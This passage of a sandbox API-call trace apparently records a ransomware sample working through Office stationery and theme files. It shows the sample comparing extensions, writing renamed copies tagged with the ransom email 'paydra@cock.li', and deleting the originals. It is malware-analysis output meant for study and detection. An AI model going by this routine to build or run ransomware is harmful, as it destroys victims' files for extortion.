lpString2="wmf") returned -1 [0043.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.813] lstrlenW (lpString=".dbf") returned 4 [0043.813] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.813] lstrlenW (lpString=".1cd") returned 4 [0043.813] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.813] lstrlenW (lpString=".jpg") returned 4 [0043.813] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.813] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0043.813] lstrlenW (lpString="Hand Prints.htm") returned 15 [0043.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.063] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=235) returned 1 [0044.063] CloseHandle (hObject=0x218) returned 1 [0044.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0044.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.063] lstrlenW (lpString=".doc") returned 4 [0044.063] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.063] lstrlenW (lpString=".docx") returned 5 [0044.063] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.063] lstrlenW (lpString=".pdf") returned 4 [0044.063] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.063] lstrlenW (lpString=".xls") returned 4 [0044.063] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.063] lstrlenW (lpString=".xlsx") returned 5 [0044.064] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.064] lstrlenW (lpString=".ppt") returned 4 [0044.064] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.064] lstrlenW (lpString=".zip") returned 4 [0044.064] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.064] lstrlenW (lpString=".rar") returned 4 [0044.064] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.064] lstrlenW (lpString=".bz2") returned 4 [0044.064] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.064] lstrlenW (lpString=".7z") returned 3 [0044.064] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.064] lstrlenW (lpString=".dbf") returned 4 [0044.064] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.064] lstrlenW (lpString=".1cd") returned 4 [0044.064] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.064] lstrlenW (lpString=".jpg") returned 4 [0044.064] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.064] lstrlenW (lpString=".doc") returned 4 [0044.064] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.064] lstrlenW (lpString=".docx") returned 5 [0044.064] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.064] lstrlenW (lpString=".pdf") returned 4 [0044.064] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.064] lstrlenW (lpString=".xls") returned 4 [0044.064] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.065] lstrlenW (lpString=".xlsx") returned 5 [0044.065] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.065] lstrlenW (lpString=".ppt") returned 4 [0044.065] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.065] lstrlenW (lpString=".zip") returned 4 [0044.065] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.065] lstrlenW (lpString=".rar") returned 4 [0044.065] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.065] lstrlenW (lpString=".bz2") returned 4 [0044.065] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.065] lstrlenW (lpString=".7z") returned 3 [0044.065] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.065] lstrlenW (lpString=".dbf") returned 4 [0044.065] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.065] lstrlenW (lpString=".1cd") returned 4 [0044.065] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.065] lstrlenW (lpString=".jpg") returned 4 [0044.065] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.065] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0044.065] lstrlenW (lpString="HandPrints.jpg") returned 14 [0044.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.066] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=4222) returned 1 [0044.066] CloseHandle (hObject=0x218) returned 1 [0044.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0044.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.066] lstrlenW (lpString=".doc") returned 4 [0044.066] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.066] lstrlenW (lpString=".docx") returned 5 [0044.066] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0044.066] lstrlenW (lpString=".pdf") returned 4 [0044.066] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.066] lstrlenW (lpString=".xls") returned 4 [0044.066] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.066] lstrlenW (lpString=".xlsx") returned 5 [0044.066] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0044.066] lstrlenW (lpString=".ppt") returned 4 [0044.066] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.066] lstrlenW (lpString=".zip") returned 4 [0044.067] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.067] lstrlenW (lpString=".rar") returned 4 [0044.067] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.067] lstrlenW (lpString=".bz2") returned 4 [0044.067] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.067] lstrlenW (lpString=".7z") returned 3 [0044.067] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.067] lstrlenW (lpString=".dbf") returned 4 [0044.067] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.067] lstrlenW (lpString=".1cd") returned 4 [0044.067] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.067] lstrlenW (lpString=".jpg") returned 4 [0044.067] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.067] lstrlenW (lpString=".doc") returned 4 [0044.067] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0044.067] lstrlenW (lpString=".docx") returned 5 [0044.067] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0044.067] lstrlenW (lpString=".pdf") returned 4 [0044.067] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0044.067] lstrlenW (lpString=".xls") returned 4 [0044.067] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0044.067] lstrlenW (lpString=".xlsx") returned 5 [0044.067] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0044.067] lstrlenW (lpString=".ppt") returned 4 [0044.067] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0044.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.068] lstrlenW (lpString=".zip") returned 4 [0044.068] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0044.068] lstrlenW (lpString=".rar") returned 4 [0044.068] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0044.068] lstrlenW (lpString=".bz2") returned 4 [0044.068] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0044.068] lstrlenW (lpString=".7z") returned 3 [0044.068] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0044.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.068] lstrlenW (lpString=".dbf") returned 4 [0044.068] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0044.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.068] lstrlenW (lpString=".1cd") returned 4 [0044.068] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0044.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg") returned 72 [0044.068] lstrlenW (lpString=".jpg") returned 4 [0044.068] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0044.068] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0044.068] lstrlenW (lpString="Memo.emf") returned 8 [0044.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.248] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=152300) returned 1 [0044.248] CloseHandle (hObject=0x208) returned 1 [0044.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0044.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0044.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0044.248] lstrlenW (lpString=".doc") returned 4 [0044.248] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0044.248] lstrlenW (lpString=".docx") returned 5 [0044.248] lstrcmpiW (lpString1=".docx", lpString2="o.emf") returned -1 [0044.248] lstrlenW (lpString=".pdf") returned 4 [0044.248] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0044.248] lstrlenW (lpString=".xls") returned 4 [0044.248] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0044.248] lstrlenW (lpString=".xlsx") returned 5 [0044.248] lstrcmpiW (lpString1=".xlsx", lpString2="o.emf") returned -1 [0044.248] lstrlenW (lpString=".ppt") returned 4 [0044.249] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0044.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0044.249] lstrlenW (lpString=".zip") returned 4 [0044.249] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0044.249] lstrlenW (lpString=".rar") returned 4 [0044.249] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0044.249] lstrlenW (lpString=".bz2") returned 4 [0044.249] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0044.249] lstrlenW (lpString=".7z") returned 3 [0044.249] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0044.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf") returned 66 [0044.249] lstrlenW (lpString=".dbf") returned 4 [0044.249] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0044.649] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=19780) returned 1 [0044.649] CloseHandle (hObject=0x21c) returned 1 [0044.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0044.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.649] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.649] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.649] GetLastError () returned 0x0 [0044.650] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0044.651] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0044.654] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.654] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.654] SetEndOfFile (hFile=0x19c) returned 1 [0044.654] CloseHandle (hObject=0x19c) returned 1 [0044.655] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.655] SetEndOfFile (hFile=0x21c) returned 1 [0044.655] CloseHandle (hObject=0x21c) returned 1 [0044.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.656] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0044.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.656] lstrlenW (lpString=".doc") returned 4 [0044.656] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.656] lstrlenW (lpString=".docx") returned 5 [0044.656] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.656] lstrlenW (lpString=".pdf") returned 4 [0044.656] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.656] lstrlenW (lpString=".xls") returned 4 [0044.656] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.656] lstrlenW (lpString=".xlsx") returned 5 [0044.656] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.656] lstrlenW (lpString=".ppt") returned 4 [0044.656] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.656] lstrlenW (lpString=".zip") returned 4 [0044.656] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.656] lstrlenW (lpString=".rar") returned 4 [0044.657] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.657] lstrlenW (lpString=".bz2") returned 4 [0044.657] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.657] lstrlenW (lpString=".7z") returned 3 [0044.657] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.657] lstrlenW (lpString=".dbf") returned 4 [0044.657] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.657] lstrlenW (lpString=".1cd") returned 4 [0044.657] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.657] lstrlenW (lpString=".jpg") returned 4 [0044.657] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.657] lstrlenW (lpString=".doc") returned 4 [0044.657] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.657] lstrlenW (lpString=".docx") returned 5 [0044.657] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.657] lstrlenW (lpString=".pdf") returned 4 [0044.657] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.657] lstrlenW (lpString=".xls") returned 4 [0044.657] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.657] lstrlenW (lpString=".xlsx") returned 5 [0044.657] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.657] lstrlenW (lpString=".ppt") returned 4 [0044.657] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.657] lstrlenW (lpString=".zip") returned 4 [0044.658] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.658] lstrlenW (lpString=".rar") returned 4 [0044.658] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.658] lstrlenW (lpString=".bz2") returned 4 [0044.658] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.658] lstrlenW (lpString=".7z") returned 3 [0044.658] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.658] lstrlenW (lpString=".dbf") returned 4 [0044.658] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.658] lstrlenW (lpString=".1cd") returned 4 [0044.658] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0044.658] lstrlenW (lpString=".jpg") returned 4 [0044.658] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.658] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.658] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.658] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1925) returned 1 [0044.659] CloseHandle (hObject=0x21c) returned 1 [0044.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0044.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.659] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.659] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0044.662] GetLastError () returned 0x0 [0044.662] ReadFile (in: hFile=0x21c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x785, lpOverlapped=0x0) returned 1 [0044.665] WriteFile (in: hFile=0x220, lpBuffer=0x3520020*, 